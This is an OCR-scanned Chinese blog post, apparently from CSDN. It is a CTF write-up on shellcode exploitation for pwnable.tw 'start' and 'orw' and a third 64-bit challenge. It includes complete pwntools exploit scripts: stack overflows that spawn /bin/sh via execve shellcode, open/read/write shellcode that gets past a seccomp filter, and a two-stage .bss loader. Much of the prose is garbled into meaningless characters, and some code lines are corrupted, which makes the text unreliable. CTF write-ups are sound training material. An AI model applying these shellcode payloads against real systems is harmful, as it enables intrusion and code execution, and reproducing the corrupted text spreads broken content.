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WA E R : ASCREEEAICE, #EIE CC4.0 BY-SA AN, B85 EE S s mASEg,
ASCEERE: httpsy/blog.csdnnet/qq 38154820/article/details/107274199

WA

5%

Z ATB B BT BN R IR, AR EEHpwtoolsFEE K shellcode—#HR, WA KEshellcodefIBA
R T A4, BRITJLEANRE—ERIEE, FHR¥%EI— FshellcodeMIHmE.

B B AR
NX (HEAR AN AT AT ) RS

shellcode(— Bt 163l M %R, B b o054 8 W 90 4 )
pwnablez start
Ik
"] UL BIXTE RS B A A R ER A TT

ljc@pwn-virtual-machine: ~/Buctf/pwn/start

ljc@pwn-virtual-machine:~/Buctf/pwn/start$ checksec start
[*] '/home/ljc/Buctf/pwn/start/start’
Arch: 1386-32-1ittle

RELRO:

Stack:

NX:

PIE:
ljc@pwn-virtual-machine:~/Buctf/pwn/starts

idad; #r
BHRAstart @, ATUAEZERHLHRESEN, INETUEE—TECEILHKE


https://hetian.blog.csdn.net
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_38154820/article/details/107274199
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=qq_38154820&utm_content=107274199

Function name Seqn assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothing

f| _start . text

E_exit . tex
public _start
Lstart proc near
push esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 8oh ; LINUX - sys write

< 2 xor ebx, ebx
mov dl, 3Ch

#a Craph overview O a8 % mov al, 3
int 86h ; LINUX -
add esp, 14h

| ANV .75 retn
: _start endp ; sp-analysis failed
L 9w ARG 43t
ARG, B R T wirte RBEITENFER, BERHreadBBEAN, HEXBENMARARY, FHLHE—

MR IR, TWHEREFEMEE, MespMEELREANTRY, espFHEBRTINMEE, FRBITRBIR
BRI Hhl, AEATIRE shellcode M

push
push
xor
xor
xor
xor
push
push
push
push
push
mov
mov
mov
mov
int
xor
mov
mov
int
add
retn

esp #espF A EEAR S, X B AT DIRE R Kk

offset _exit #¥_exiteRHubikEANIRT , 5 start REIAT 58 I IR Flexit B %
eax, eax #HE T eax FABHE

ebx, ebx HE T ebx TR INE

ecx, ecx HETecxHFHARNE

edx, edx HE T edxFARNE

3A465443h

20656874h

20747261h

74732073h

2774654Ch #EN—WZRE, PEFBITHZ/FSE, Let's start the CTF:
ecx, esp 5 addr, ¥ 7R/ B I ecx F 2R H

dl, 14h 5 len, BITENKE M d 1 F 788+ , Bl 160 27 17 5%

bl, 1 5 fd, LAXHHRE, BIORFERE

al, 4 #eaxFHFHE, FHMRAAS, 4HASE,writeifl

80h 5 LINUX - sys write,int ox8eiifised it

ebx, ebx #E T ebx T, QNI IIRRF, BN, Flings

dl, 3ch #HANKE ox3c

al, 3 #3 WS, Blreadfis

80h 5 LINUX -

esp, 14h #REATH, FONENTZR RN T ox 14 A, A sEEEERT

#1R ]

BR B AR



WHS A H B A eax ebx ecx edx

3 sys_read 0x03 unsigned int fd char __user *buf size_t count
4 sys_write 0x04 unsigned int fd const char __user *buf size_t count
i

BRI iR e so MIEEAERH, AT LAZRIG It bk
HTEFEARGEA, BARELRE, 7SR IT KRS
Rtk bk
RIERFHITAE, BATAT LA B AR H 5L

2774654Ch

74732073h

20747261h

3A465443h

exit

esp

PREZAR—T, BREAIFUIK —H

Ox2774654cC
Ox74732073
0x20747261 (
Ox20656874 (
0x33465443 (

10000
10004
: 0008
:008¢
4:0010
10014
;0018
:001c

0x1

EEPEEEY

SR EBEFIEIT58add esp, 14h, BE— MREW



Ox8048097 < start+55> int
Ox8048099 < _start+57> add
0x804809c <_start+60>

0x804809d <_exit>
0x804809e i
0x80480a0
0x80480a1
0x80480a3

:0000| esp
1:0004
;0008
:000c
4:0010
05:0014
-datafljc’
06:0018 : '"CLUTTER_IM_MODULE=x1im'
87:001c € d144 —» @ 5 ' GNOME_SESSION_XDG_SESSION_PATH=/org/f
reedesktop/DisplayManager/Session®

"/home/ljc/Buctf/pwn/start/start’

'XDG_GREETER_DATA_DIR=/var/lib/lightdm

bovteted

»f @ B804809c start+60

SRR R Bl bt fE e x i t RE, HERITTRretiBQ)E, espHFHFRNAB ML, BEMBERME, T
R EHHE S A wr i te BREL B4 B AR [B] 2GR H bk AT 4% 52 734

A UE RO AMET, FEEMMNNTFREAMNNSH, Hiecx TR M TR T EITH T HHE
gk .

mov ecx, esp ; addr, ¥ 7R/ B KB ecx F LR H

mov dl, 14h 5 len, BITENKERBGHILF AP, Blef FAE
mov bl, 1 5 fd, DAXUHR#RT, TBREREE

mov al, 4 #eaxFHE, FRWREAS, 4HHASH,writelfi#
int 806h ; LINUX - sys write,int

EPATBretiBL)E, VLI e sp R 785 1 N A6 15 48 AR T A s ik

oxffffdl2c — oOxffffdl30
#E Npush esp, &fFBesplE4, F LKA MespiaéEMFINAR B espitt, XAFTEER

Ox8048099 < start+57>
Ox804809c <_start+60>

» OxB04809d <_exit>
0x804809e xit+l>
OxB80480a0
0x80480a1
OxB804860a3
0x80480a5

00:0000| esp
01:0004
02:0008
83:000c
04:0010
-datafljc’
05:0014 d14€ C '"CLUTTER_IM_M E=xim'

06:0018 : ' GNOME_SESSION_XDG_SESSION_PATH=/org/f
reedesktop/DisplayManager/Session

@7:001c| axffffdi148 —» @xffffd38d <« 'XDG_MENU PREFIX=gnome-'

"/home/ljc/Buctf/pwn/start/start’

'XDG_GREETER_DATA_DIR=/var/lib/lightdm

_..
‘_
_.
‘_
.
.

= 0 804809d _exit




PRt R B R B M BB B Mo ecx, e sp itk B AT 4T ED B AR f) b ik

sh.recvuntil("Let's start the CTF:")

payload = 'a'*20 + p32(0x8048087)#mov ecx,esphiHiit
#attach(sh)

sh.send(payload)

esp = u32(sh.recv(4))

print 'esp:'+hex(esp)

R E bk, 4T shellcode

HTREFPEAFBENxRY, B BREEE R T BT, AR A execve () RERAH KT R,
BP R 447 getshell

WS HH R A eax ebx ecx
11 Sys_execve 0x0b const char __user *filename const char __user *const __user *argv
shellcode

ciBE KR :execve("/bin/sh\xe0",0,0)

LA

mov eax,@xb #KiAM S &E ~Noxb, BIEHexecveAHS
xor edx,edx #EZTedxF 7, FNexecvelEedxH{E o
Xor ecx,ecx #iEZTFecxZFHES, FlNexecvellEHecx il o
push 0x0068732f #\x00hs/

push @x6e69622f #nib/, /NmiENFTEKEEAERF

mov ebx,esp #¥FFFE KM bEfE% % ebx

int ox80 #iffigeq i

168t F R

FFHpwntoolsfE B ifjasm() RE, HICHAME LL16HEH]FIRRE BN

"] AE Blfe B shellcodefn B R EM BERARA SHR, SHRRTENRE, REXEERESHMAZIN
JSLF) 25 A7 2%, 4T A 8 0 o BT SE LA P R 4

payloadl = 'a'*20+p32(esp+20)#iXREIHbtFEHCEHIAEEH CshellcodeiBiaihl, i 5t R H B T Ik (¥ 4w 78 BI BT
payload = asm("mov eax,@xb")

payload += asm("xor edx,edx")

payload += asm("xor ecx,ecx")

payload += asm("push 0x0068732f")

payload += asm("push 0x6e69622f")

payload += asm("mov ebx,esp")

payload += asm("int ©x80")

sh.send(payloadl+payload)

SEE K exp



from pwn import *

context(arch="1i386",0s="1linux")

sh = process("./start")

#sh = remote("node3.buuoj.cn",29479)
sh.recvuntil("Let's start the CTF:")
payload = 'a'*20 + p32(0x8048087)
#tattach(sh)

sh.send(payload)

esp = u32(sh.recv(4))

print 'esp:'+hex(esp)

payloadl = 'a'*20+p32(esp+20)
payload = asm("mov eax,0xb")

payload += asm("xor edx,edx")
payload += asm("xor ecx,ecx"

payload += asm("push ©x0068732f")
payload += asm("push 0x6e69622f")
payload += asm("mov ebx,esp")
payload += asm("int 0x80")
sh.send(payloadl+payload)
sh.interactive()

pwnableZ orw
PRI A

JFR T canaryfRY, AFEE] 5 I H AT HAT B X 35K

ljc@pwn-virtual-machine:~/Buctffpwn/pwnable_orw$ checksec orw
[*] '/homefljc/Buctf/pwn/pwnable_orw/orw'
Arch: i386-32-1little

RELRO: Partial RELRO
Stack:

NX:

PIE:

RWX:
ljc@pwn-virtual-machine:~/Buctf/pwn/pwnable_orws [J

idazy #r

orw_seccomp

EZERBEEFE TYE, XEW L Hseccomp-toolsER TFTWEEZEHTHARE



unsigned int orw_seccomp()
{
__intl6 wl; // [esp+4h] [ebp-84h]
char *v2; f/ [esp+8h] [ebp-86h]
char v3; // [esp+Ch] [ebp-7
unsigned int v4; // [esp+6Ch] [ebp-1
vl = _Peadgsdword(ﬂxldu);’/ ‘Eil/‘%immu
gmemcpy(&v3, &unk 2048648, @x60u);
vl = 12;
v2 = &v3;
prctl(38, 1, 0, 0, 0); —— p FEbE
prctl(22, 2, &1); R~/ m
| return _ readgsdword(®x14u) * vi;
¥
LNt

T B #:https://github.com/david942j/seccomp-tools

ALLER], HHi3sell BT RN, RAard
)ﬂrt_siqreturn,sigreturn,exit_group,open,read,writeH@%éﬁiﬁ)ﬂ, BANTE W execve RN

FEVFBAE

ljc@pwn-virtual-machine:~/Buctf/pwn/pwnable_orwS seccomp-tools dump .forw
CODE

0080: 0x20 B € pee4 A = arch

0001: 0x15 Ox00 O0x09 Ox400000803 if (A != ARCH_I386) goto 0011
0002: 0x20 Ox0O OxO00 Ox00O00800 A = sys number

0063: 0x15 Ox07 Ox00 Ox000000ad 1if ( sigreturn) goto 0611
0084: 0x15 Ox06 Ox00 Ox00000077 1if ( eturn) goto 0811
0065: 0x15 Ox05 Ox00 Ox008000fc 1if ( exit_group) goto 06811
00B6: 0x15 0x04 Ox00 0x00000001 1if ( exit) goto 0011

0067: 0x15 Ox03 Ox00 Oxe0000005 if ( open) goto 0011

0008: 0x15 0x02 0x00 0x00800003 if (A == d) goto 8011

0009: 0x15 Ox01 0x00 Ox60000004 1if (A == write) goto 0011
0010: Ox06 Ox00 Ox00 OxO0A50026 return ERRNO

0011: Ox06 Ox00 Ox00 OxT7fffOee® return ALLOW
ljc@pwn-virtual-machine:~/Buctf/ pwnable_orw$

E—TEBE#R, HFFBMNt1agh T /home/orw/flaght, MARREFMHopen, readwriteMIR&H
H, ZRAAMEMAZ R ortcl MBAZERT, XBERNKEE Fshellcode, pret 1l MTEEHBXESH
M4,



orw [100 pts]

Read the flag from /home/orw/flag .
Only open read write syscall are allowed to use.
nc chall.pwnable.tw 18681

orw

First Blood: sces60107
Solved 3062 times.

You have already solved this challenge. Check some write-ups?

maini& 3

% Ashellcode B EA T . bss B, FEMATEESHZZEURFMERFAH, MXEHRASFELEIRK
shellcodefiR E #ihk, B A — BtshellcodeRf 7]

int _ cdecl main(int argc, const char **argv, const char **envp)

{
orw_seccomp();
printf("Give my your shellcode

read(®, &shellcode, BxCSu),ﬁ-—— EEJ)\E’J{E%ETEQT

({void (* w*o_"}E.h\ﬂ'_llc::n:hﬂ_}(}, e —
return @; ShE‘”COdEEIJ%%;L,\REEP
¥
LARRZB9AZ= 8 Ashellcode
B F U
B

HEERFZEH Texecve RGHA, RFM T open, read, ULkwriteMRGHA, BURHH, ik
I £1agEBHR, A RIS B FrPLEsKshell

shellcodelf1 % 5
£ Bshellcoderli, TATE AL CIE S Krikflagh RS S H ok

il

ci&

fd = open("/home/orw/flag","w");// 8 %ITH X4
read(fd,buf,0x20);//ZEBXHHER, BARRBTZEEbUfF
write(1,buf,0x20);//KEEbufIARITENER, XEKMEBITENH FlagfKEITR, BTFAMEflagfBAKETUREAK—K

AHS 4 iR B eax ebx ecx edx

3 sys_read 0x03 unsigned int fd char __user *buf size_t count



HHS A H B2 eax ebx ecx edx

4 sys_write 0x04 unsigned int fd const char __user *buf size_t count
5 sys_open 0x05 const char __user *filename int flags umode_t mode
shellcode

#1 Ex BACRIB U K RA AR EITshellcode RS

fd = open("/home/orw/flag","w")

#1H LA G

Xor ecx,ecx HEZTecxFHIF8E, openkIilHZFFRRMME R Anull

xor edx,edx #EZFedxF 7%, openHIiARZFERIMER Inull

mov eax,0x5 #HFHSWENS

push 0x006761 ##/home/orw/flagE Ntk , EELEZRLALHEH, FLFRHERFENEKBEIFHENE R/
push Ox6c662f77 ## ALl6MHIERMHT, HEFHFETRERMEBWIFF\x00, pushELAFITHNENL,
push 0x726f2f65

push Ox6d6f682f

mov ebx,esp #fdifI{E B KL

int ox8e #VFse M, LIMRAWEHA

#CiBS

read(fd,buf,0x20)8read(3, buf,0x20)#X B K3 N H M T - HRE, THESHEHANA

A RLIIC

mov eax,ox4

mov ebx,0x3 #XBEF3MRE T oepniR ElIMfdast, B 37 LLAEFITFF OO MSCH#R R, 48 Hopenik Bl T4 U B iZ%:¥ R 4R
mov ecx,esp #KesplENIGEZEbufiHhik

mov edx,0x20 #EEAKIKE Nox20

int ox8e #VFse i, LIMRAWA

#CIES

write(1,buf,0x20)

#4H BB S

mov eax,Ox3#ZR %I S0x3

mov ebx, Ox1# AR AL, HHEE

mov ecx,esp #¥esplE NI A Ebuf bk
mov edx,0x20 #ITEIHIFRFHKKE

int ox8e #yFse i, LIMRLAWAA

#1X B A DL pwntool s R — AR HNE , shellcraft

ci& 5 :open("/home/orw/flag") <==> jL%i:asm(shellcraft.open("/home/orw/flag"))
CiEH :read(3,buf,0x20)<==> JL4g:asm(shellcraft.read(3,"esp",0x20)

CiEE :write(1,buf,0x20)<==>{C4%:asm(shellcraft.write(1,"esp",0x20))

SO R R

W% (kernel) FIRSCHERERAT (file descriptor) SRUFIHISCHF. SCHFHRRTF R IE MBS TIFEESCIF BB 3
iy, AR E AN SRR . 35 SOt R E A SO R R R R B AR B . CRE BE AR

ORRIFHER NG, stdin
1RFAMER H A, stdout
2R FBARAEES RIT, stderr



I T —FHRSCHER, BRI S RIR R N3
exp1

from pwn import *
context(log_level="'debug',arch="1i386"',0s="1linux")
#sh = remote("node3.buuoj.cn",29479)

sh = remote("chall.pwnable.tw",10001)
sh.recvuntil("shellcode:")

payload = asm(shellcraft.open("/home/orw/flag"))
payload += asm(shellcraft.read(3,"esp",100))
payload += asm(shellcraft.write(1,"esp",100))
sh.sendline(payload)

sh.interactive()

exp2

from pwn import *

context(arch="1i386"',0s="1linux")

#sh = remote("node3.buuoj.cn",25212)
sh = remote("chall.pwnable.tw",10001)
sh.recvuntil("shellcode:")

payload = asm("xor ecx,ecx")

payload += asm("xor edx,edx")
payload += asm("mov eax,0x5")
payload += asm("push 0x006761")
payload += asm("push 0x6c662f77")
payload += asm("push 0x726f2f65")
payload += asm("push 0x6d6f682f")
payload += asm("mov ebx,esp")
payload += asm("int 0x80")

payload += asm("mov eax,0x3")
payload += asm("mov ebx,0x3")
payload += asm("mov ecx,esp")
payload += asm("mov edx,0x20")
payload += asm("int 0x80")

payload += asm("mov eax,0x4")
payload += asm("mov ebx,0x1")
payload += asm("mov ecx,esp")
payload += asm("mov edx,0x2")
payload += asm("int ©x80")

sh.sendline(payload)
sh.interactive()



2019/ REMAL T & H
PRIk
FIFERERBIT BRI, HHBRE TS IHAHAT X

(> )l lic@pwn-virtual-machine: ~/qw
ljc@pwn-virtual-machine:~/quw$ checksec pwn
[*] '/home/ljc/qw/pwn’

Arch: amd64-64-1little

RELRO: Partial RELRO

Stack:
NX:
PIE:

RWX:
ljc@pwn-virtual-machine:~/qw$

e

idag Hr
maing £

BFAE1, 2, 3, =G, E&F1 HUGRITE — S TERKTAF S, B2 & SPhH 2 & 1T e
ik, EFESET DAPAAT Al H I TR
Hr

= @LL;
= OLL;
= @LL;
= oLL;
=a;
=0;
=8;
alarm(8x14u);
setvbuf(_bss_start, OLL, 2, OLL);
= stdin;
setvbuf (stdin, OLL, 1, @LL);
menu(v3, BLL);
while ( <«=3)
{
= 8;
puts("Enter your choice:");
__is0c99_scanf("%d", &5);
switch ( ]

case 2:
magic(Bouf, VI —==> T tFELibIL
reak;

case 3:

puts("What?"); \
read(@, &vuf, Ox4ulL); —mmp £k LU SRS
break;
case 1:
what () ; ——mlp ?ﬁﬂgﬁﬁ
break; B
h
++
}
return @;

}

3

AU R Ox1OFKIE 2 18], 7T DAYS 47 78 53 [B] b ik

Urede,
. SL - —
e ey, SR 0x10f2s
read(®, &buf, @x4BulLl); |\E_|_]E-_'%'
break; : - - e T e
case 1: I_'_ 64 buf; // [rsp+16h] _[‘:':-—:ti"_|
what(); e
break;

magicif 3



i NS H a2 1E %5 T 305419896k, W4T ENatHIE

int  fastcall magic( int64 al, int a2)
{

int result; // =ax

if ( a2 == 385419896 )
result = printf{"It is magic: [%p]?\n", &l);
return result;

W a2B9{EA30541989601, FTEDaT
A9E

FATH LLE TmagiclR B AR AN ZE, — M Abutfidill, —MNARMEEVIL, vIIHET BT ou i
HE B %

puts(“Enter your choice:");

¥

isoc99 F("%d", &v5); —
iteh (s ) VITZSBHE
¢ o LuEiT bufits
case 2:
magic(( inted)&buf, vil); H:UEE%
break; i
case 3: a2: int vi1; // [rsp+38h] [rbp-sh]|

puts("What?");
read(@, &but, Bx40ulLl);

case 15 fE NHRHY A
what();
break;

B
FEFF A FE AR Y ORI, (BRI A w5 80>, R BE R e H ik (] bk
B U ARG E SR EIIRE, ATmittEEou s Bk

XEMBATR A —MER, EREESREBRICHNANL, BREBE . bssBY, £H.bssBRE
Ashellcode, REFERMRZER640I, T4 RATHS 532004 FH .

HWHS RE 4 rax rdi rsi rdx
0 sys_read 0x00 unsigned int fd char __user *buf size_t count
LA 2 #r

payload = asm("mov rax,0;") #RZRAS

payload += asm("mov rdi,@;")#3CHiR%F

payload += asm("mov rsi,@x601080")#.bssButhht, FFbufiiht
payload += asm("mov rdx,@x40")#ii N

payload += asm("syscall")#syscall/azhiiH

payload += asm("push 0x601080")#i&[E|Hhit

payload += asm("ret")#ret#§4 & [E{F &bt

payload = payload.ljust(ex38,'b")

payload += p64(addr)



SEE [fexp

from pwn import *
context(log_level="debug',arch="amd64',o0s="1linux")
sh = process("./pwn")
sh.recvuntil(" your choice:")
sh.sendline("3")
sh.recvuntil("What?")

payload = 'a'*0x28+p64(305419896)
sh.send(payload)

sh.recvuntil(" your choice:")
sh.sendline("2")

sh.recvuntil ("It is magic: [")

addr = int(sh.recv(14),16)

print 'addr:'+hex(addr)
sh.sendline("3")
sh.recvuntil("What?")

payload = asm("mov rax,0;"

payload += asm("mov rdi,o;"

payload += asm("mov rsi,0x601080")
payload += asm("mov rdx,0x40")
payload += asm("syscall")

payload += asm("push 0x601080")
payload += asm("ret")

payload = payload.ljust(0x38,'b")
payload += p64(addr)

#tattach(sh)

sh.send(payload)

payload = asm("mov eax,59") #AF595 R4 MM, execve("/bin/sh",0,0);
payload += asm("xor rsi,rsi")
payload += asm("xor rdx,rdx")
payload += asm("mov rdi, 0x6010a8")
payload += asm("syscall")

payload = payload.ljust(0x28, '\x00")
payload += '/bin/sh\x00'

attach(sh)

sh.send(payload)

sh.interactive()

B4

shellcode1% B IR EM AR, WIBEARKMSEHE, £X N FRRE
startBl @S E ARG AHexecve (" /bin/sh",0,0) KRS

orwfil RN % 2> 5245 E AR INE, MTi% Jopen,readwrite RARAMNRE

AR SR MM X AR RS M R AR AT AT B 25, ERNC g SEBUAR R, DA RAEIR BT AN A



shellcode 5 #
https://www.hetianlab.com/expc.do?ec=ECIDa5cd-1210-4eaf-a9bb-6256a5624bc2

(shellcode2 —BF T HI F B A4 R TO AT BOARRS, FTE B BE I S IR @ & F 485, EAFFREAN—BWikCPU
AT Hshellcode N85, kLN AHATH & KERTES. )

W IE A E MR : edu@heetian.com
B 7 BE B R PRk B AR IE !
BN ERmD T, SHEEER



http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA%253D%253D&chksm=bd59304b8a2eb95d8ce88b202c516f3a4366ac5b2da8047180012c46ba7f0e9aa555e3360971&idx=2&mid=2652851334&scene=21&sn=c3cddfe9e230204c6892b06159d419d1#wechat_redirect

BURSC, B HEI%E
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